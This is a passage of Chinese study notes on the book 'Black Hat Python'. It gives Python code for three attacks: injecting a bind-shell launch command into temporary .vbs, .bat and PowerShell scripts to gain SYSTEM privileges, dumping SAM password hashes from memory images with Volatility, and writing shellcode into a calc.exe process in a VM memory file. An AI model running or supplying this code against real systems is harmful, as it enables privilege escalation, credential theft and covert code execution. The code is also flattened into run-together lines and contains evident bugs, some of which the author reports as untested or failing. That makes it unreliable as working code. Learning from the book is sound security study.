%s"%full_filename#输出文件内容print "[vvv] Dumping contents..."try:fd = open(full_filename,"rb")contents = fd.read()fd.close()print contentsprint "[^^^] Dump complete."except:print "[!!!] Failed."elif action == FILE_RENAMED_FROM:print "[>] Renamed from: %s"%full_filenameelif action == FILE_RENAMED_TO:print "[>] Renamed to: %s"%full_filenameelse:print "[???] Unknown: %s"%full_filenameexcept:passfor path in dirs_to_monitor:monitor_thread = threading.Thread(target=start_monitor,args=(path,))print "Spawning monitoring thread for path: %s"%pathmonitor_thread.start()

运行结果:

先运行脚本,然后打开新的cmd输入以下内容:

在脚本运行的窗口可以看到监听到的内容:

代码插入:

这段代码是对上一小节的代码进行添加相应的代码而已,实现对VB、批处理和PowerShell三个脚本语言的临时文件进行代码插入,从而实现将以原生服务的权限执行bhpnet.py的编译版本,然后通过其查看实现的提权信息。

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os#这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]#文件修改行为对应的常量
FILE_CREATED    = 1
FILE_DELETED    = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5file_types = {}command = "C:\\Windows\\Temp\\bhpnet.exe -l -p 9999 -c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%command]file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n"%command]
file_types['.psl'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n"%command]#用于执行代码插入的函数
def inject_code(full_filename,extension,contents):#判断文件是否存在标记if file_types[extension][0] in contents:return#如果没有标记的话,那么插入代码并标记full_contents = file_types[extension][0]full_contents += file_types[extension][1]full_contents += contentsfd = open(full_filename,"wb")fd.write(full_contents)fd.close()print "[\o/] Injected code."returndef start_monitor(path_to_watch):#为每个监控器起一个线程FILE_LIST_DIRECTORY = 0x0001h_directory = win32file.CreateFile(path_to_watch,FILE_LIST_DIRECTORY,win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,None,win32con.OPEN_EXISTING,win32con.FILE_FLAG_BACKUP_SEMANTICS,None)while 1:try:results = win32file.ReadDirectoryChangesW(h_directory,1024,True,win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,None,None)for action,file_name in results:full_filename = os.path.join(path_to_watch,file_name)if action == FILE_CREATED:print "[+] Created %s"%full_filenameelif action == FILE_DELETED:print "[+] Deleted %s"%full_filenameelif action == FILE_MODIFIED:print "[+] Modified %s"%full_filename#输出文件内容print "[vvv] Dumping contents..."try:fd = open(full_filename,"rb")contents = fd.read()fd.close()print contentsprint "[^^^] Dump complete."except:print "[!!!] Failed."filename,extension = os.path.splitext(full_filename)if extension in file_types:inject_code(full_filename,extension,contents)elif action == FILE_RENAMED_FROM:print "[>] Renamed from: %s"%full_filenameelif action == FILE_RENAMED_TO:print "[>] Renamed to: %s"%full_filenameelse:print "[???] Unknown: %s"%full_filenameexcept:passfor path in dirs_to_monitor:monitor_thread = threading.Thread(target=start_monitor,args=(path,))print "Spawning monitoring thread for path: %s"%pathmonitor_thread.start()

首先开启本章开头下载的服务:

然后运行脚本,看到有注入成功的:

接着在Kali中运行bhpnet.py脚本连接:

通过whoami命令可以查看到,在win7上插入代码的进程确实是以System权限执行的。

这里记多个知识点,就是将py文件转换为exe文件,以bhpnet.py转换为bhpnet.exe文件为例,具体需要安装的Python库在《关于本地提权的学习笔记(二):注入进程和利用漏洞提权》中讲过就不多说了,也是直接上图吧:

这样就将Python文件转换为Windows执行文件exe格式了。

第十一章——自动化攻击取证

工具安装:

下载源码:https://code.google.com/archive/p/volatility/downloads

工具配置:

获取内存镜像:https://www.downloadcrew.com/article/23854-dumpit

打开该工具,输入y:

结果生成raw文件:

将该raw文件放置在volatility目录中,在cmd中运行命令:python vol.py imageinfo -f “WIN-SINT5FVF5I1-20170528-122914.raw”

结果如图,其中最有价值的信息是Suggested Profiles:

当然还可以输入以下命令进行进一步操作:python vol.py plugin --profile=”Win7SP1x86” arguments

其中arguments为参数,可以通过-h参数查看。

抓取口令的哈希值:

由于是对虚拟机vmem文件进行操作,所以就在虚拟机win7中对虚拟机XP的vmem文件执行命令:python vol.py hivelist --profile=”WinXPSP3x86” -f “WinXPenSP3-Snapshot8.vmem”

特别注意圈中的信息,因为Windows系统将本地用户口令以哈希值的形式存储在注册表项SAM中,将系统引导口令存储在注册表项system中。前面框中的则是两个注册表项的键值所在的虚拟地址和物理内存地址。虚拟地址是这些键值在操作系统内存中的偏移,而物理地址是在磁盘上实际的虚拟机文件.vmem中的偏移。

接下来将虚拟偏移传递给hashdump插件(-y参数指定system,-s参数指定SAM):

python vol.py hashdump -d -d -f "WinXPenSP3-Snapshot8.vmem" --profile=WinXPSP3x86 -y 0xe1035b60 -s 0xe1864990

到最后应该显示出Administrator用户哈希密码等的信息,但是由于是在虚拟机中进行的测试就没能成功,尝试过在64位的win10上安装pycrypto库但是一直安装失败,因而没办法测试出来,大致知道原理就好吧。

下面的脚本就是将上面的两个步骤合在一起进行哈希值的抓取:

import sys
import structmemory_file = "WinXPenSP3-Snapshot8.vmem"
sys.path.append("C:\\Python27\\volatility-2.3.1")import volatility.conf as conf
import volatility.registry as registryregistry.PluginImporter()
config = conf.ConfObject()import volatility.commands as commands
import volatility.addrspace as addrspaceconfig.parse_options()
config.PROFILE = "WinXPenSP3x86"
config.LOCALTION = "file://%s"%memory_fileregistry.register_global_options(config,commands.Command)
registry.register_global_options(config,addrspace.BaseAddressSpace)from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDumpregistry = RegistryApi(config)
registry.populate_offsets()sam_offset = None
sys_offset = Nonefor offset in registry.all_offsets:if registry.all_offsets[offset].endswith("\\SAM"):sam_offset = offsetprint "[*] SAM: 0x%08x"%offsetif registry.all_offsets[offset].endswith("\\system"):sys_offset = offsetprint "[*] System: 0x%08x"%offsetif sam_offset is not None and sys_offset is not None:config.sys_offset = sys_offsetconfig.sam_offset = sam_offsethashdump = HashDump(config)for hash in hashdump.calculate():print hashbreakif sam_offset is None or sys_offset is None:print "[*] Failed to find the system or SAM offsets."

运行结果:

和前面直接用工具时的结果差不多,因为在虚拟机中运行所以测试不能成功,但是原理就是大致如此。

直接代码注入:

首先需要安装Immunity Debugger调试器:http://debugger.immunityinc.com/

codecoverage.py:

from immlib import *class cc_hook(LogBpHook):"""docstring for cc_hook"""def __init__(self,):LogBpHook.__init__(self)self.imm = Debugger()def run(self,regs):self.imm.log("%08x"%regs['EIP'],regs['EIP'])self.imm.deleteBreakpoint(regs['EIP'])returndef main(args):imm = Debugger()calc = imm.getModule("calc.exe")imm.analyseCode(calc.getCodebase())functions = imm.getAllFunctions(calc.getCodebase())hooker = cc_hook()for function in functions:hooker.add("%08x"%function,function)return "Tracking %d functions."%len(functions)

将这个脚本放在Immunity Debugger安装路径的PyCommands文件夹中:

运行Immunity Debugger,打开calc.exe的进程但不运行,然后在调试器下方的命令栏中输入如下命令加载Python脚本:!codecoverage

然后按F9运行calc.exe,再按Alt+L切换到Log窗口查看:

但是无论怎么测试都没有达到书上查看到“=”等号的地址的效果,即使切换到XP中测试的效果也是一样的,不知道是不是下载的软件版本的问题。。。

但是在XP上有和书上一样的地址(不一定就是等号的,本人不懂逆向不知道。。。):

没办法,只能拿这个地址测试一下脚本吧:

#coding=utf-8
import sys
import structequals_button = 0x01005D51memory_file = "WinXPenSP3-Snapshot8.vmem"
slack_space = None
trampoline_offset = None#读入我们的shellcode
sc_fd = open("cmeasure.bin","rb")
sc = sc_fd.read()
sc_fd.close()sys.path.append("C:\\Python27\\volatility-2.3.1")import volatility.conf as conf
import volatility.registry as registryregistry.PluginImporter()
config = conf.ConfObject()import volatility.commands as commands
import volatility.addrspace as addrspaceconfig.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCALTION = "file://%s"%memory_fileimport volatility.plugins.taskmods as taskmodsp = taskmods.PSList(config)for process in p.calculate():if str(process.ImageFileName) == "calc.exe":print "[*] Found calc.exe with PID %d"%process.UniqueProcessIdprint "[*] Hunting for physical offsets...please wait."address_space = process.get_process_address_space()pages = address_space.get_available_pages()for page in pages:physical = address_space.vtop(page[0])if physical is not None:if slack_space is None:fd = open(memory_file,"r+")fd.seek(physical)buf = fd.read(page[1])try:offset = buf.index("\x00"*len(sc))slack_space = page[0] + offsetprint "[*] Found good shellcode location!"print "[*] Virtual address: 0x%08x"%slack_spaceprint "[*] Physical address: 0x%08x"%(physical + offset)print "[*] Injecting shellcode."fd.seek(physical + offset)fd.write(sc)fd.close()#创建我们的跳转代码tramp = "\xbb%s"%struct.pack("<L",page[0] + offset)tramp += "\xff\xe3"if trampoline_offset is not None:breakexcept:passfd.close()#查看目标代码的位置if page[0] <= equals_button and equals_button < ((page[0] + page[1]) - 7):print "[*] Found our trampoline target at: 0x%08x"%(physical)#计算虚拟偏移v_offset = equals_button = page[0]#计算物理偏移trampoline_offset = physical + v_offsetprint "[*] Found our trampoline target at: 0x%08x"%(trampoline_offset)if slack_space is not None:breakprint "[*] Writing trampoline..."fd = open(memory_file,"r+")fd.seek(trampoline_offset)fd.write(tramp)f.close()print "[*] Done injecting code."

到win7上运行:

同样没能成功,但是原理就是和书上说的一样,测试的时候最难搞定的就是环境等的问题了。

关于《Python黑帽子》的编程书上就这么多了,其中很多个脚本都是没能测试成功,在后面会逐一来解决,存在的问题哪位大神懂的就麻烦指导一下咯~

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记相关推荐

  1. 书籍推荐——Python绝技:运用Python成为顶级黑客

    Python绝技:运用Python成为顶级黑客 本文推荐一本关于信息安全的图书:<Python绝技:运用Python成为顶级黑客>. 当您听到黑客这个词的时候是不是有点激动呢,尤其是顶级黑 ...

  2. python绝技:运用python成为顶级黑客

    python绝技:运用python成为顶级黑客 前言 有多少人是因为看了电视,看了那些牛逼的黑客选择成为程序员的. 我貌似也是其中一个,只是自从成为程序员以来,天天都是加班coding,到家就是睡倒床 ...

  3. 《python基础教程(第二版)》学习笔记 基础部分(第1章)

    <python基础教程(第二版)>学习笔记 基础部分(第1章) python常用的IDE: Windows: IDLE(gui), Eclipse+PyDev; Python(comman ...

  4. python segy格式地震数据读写包segyio学习笔记(二)

    python segy格式地震数据读写包segyio学习笔记(二) 最近大致搞明白了segyio读取叠后和叠前segy数据的方法,以及内部存储结构,以两段代码为例: 叠后数据读取.这是一个从给定时窗内 ...

  5. python word 操作 doc 文件格式转docx 格式 学习笔记

    python word 操作 doc 文件格式转docx 格式 学习笔记 from win32com import client as wc import time # TODO file_0 = & ...

  6. python绝技运用python成为顶级pdf_python绝技:运用python成为顶级黑客 中文pdf完整版[42MB]...

    Python 是一门常用的编程语言,它不仅上手容易,而且还拥有丰富的支持库.对经常需要针对自己所 处的特定场景编写专用工具的黑客.计算机犯罪调查人员.渗透测试师和安全工程师来说,Python 的这些 ...

  7. python绝技运用python成为顶级pdf_python绝技运用Python成为顶级黑客PDF高清文档免费下载...

    提取码:2qyg Python 是一门常用的编程语言,它不仅上手容易,而且还拥有丰富的支持库.对经常需要针对自己所 处的特定场景编写专用工具的黑客.计算机犯罪调查人员.渗透测试师和安全工程师来说,Py ...

  8. PDF下载!《Python十大基础专题》《247个Python综合案例》《Pandas 20页学习笔记》...

    Python 技术栈 完整学习路线 如今书籍汗牛充栋,如何从零.循序渐进地掌握Python技术栈,成为很多读者朋友们关心的问题.最近,我特意按照Python技术栈的学习逻辑,把它划分为六个阶段,并且给 ...

  9. python中socket模块常用吗_python网络学习笔记——socket模块使用记录

    此文章记录了笔者学习python网络中socket模块的笔记. 建议初次学习socket的读者先读一遍socket模块主要函数的介绍. socket模块的介绍可以参考笔者的前一篇关于socket官方文 ...

  10. python基本数据类型(一)-python3.0学习笔记

    python基本数据类型 1.python课程简介 2.数据类型 3.序列类型 1.python简介 1.python是一门编程语言,是一门完全面向对象的编程语言 2.如果对语言进行分类,那么pyth ...

最新文章

  1. phpstorm 点击方法跳转 后 返回 原来的位置
  2. 集合嵌套存储和遍历元素的示例
  3. 解决Cacti监控图像断断续续问题
  4. c语言报错spawning 插1,C语言错误····error spawning c1.exe
  5. 聊聊并发编程的10个坑
  6. mysql的root密码的变更-进程的杀掉
  7. 0-13 sudo用户管理
  8. [转]优秀的女孩是没有性生活的
  9. TYUT-A2专题题解
  10. 打开.mpp文件有感
  11. PHP1c型GNAS,【临床研究与实践】儿童假性甲状旁腺功能减退症20例临床特征与GNAS基因缺陷分析...
  12. 【机器人学习】abb机器人运动学分析与轨迹规划(三维模型+matlab代码+word报告)
  13. 【第一组】第十五次冲刺例会纪要
  14. 2021年,这个岗位发展前景广,刚入行月薪上万?
  15. win7 怎么修改记事本的默认编码(测试有效果)
  16. JAVA实现纳税算法
  17. 发布新一代微控制器 AURIX 2G 的背后,半导体巨头英飞凌如何应对汽车行业变革?...
  18. 8000401a和80080005
  19. 远程shell特洛伊木马病毒
  20. 人体解析任务 和 Look into Person数据集 (附源码分享)

热门文章

  1. SQLi LABS Less-7 布尔盲注
  2. Linux如何查看显存
  3. 华为最新全面屏手机鸿蒙系统,华为P50pro最新确认:麒麟1020+立体全面屏+鸿蒙系统,这才是华为...
  4. 利用二维数组(double[])实现一个矩阵类:Matrix。要求提供以下方法:(1)set(int row, int col, double value):将第row行第col列的元素赋值为valu
  5. 10_行销(Marketing)里客户流失
  6. mysql查询连续三天100以上_一个SQL查询连续三天的流量100以上的数据值【SQql Server】...
  7. Docker系列 WordPress系列 个人博客的广告展示
  8. 测绘专业计算机编程要求,我是学工程测量,学哪一种计算机编程好
  9. 北大集训2018垫底记
  10. ParsingError问题的解决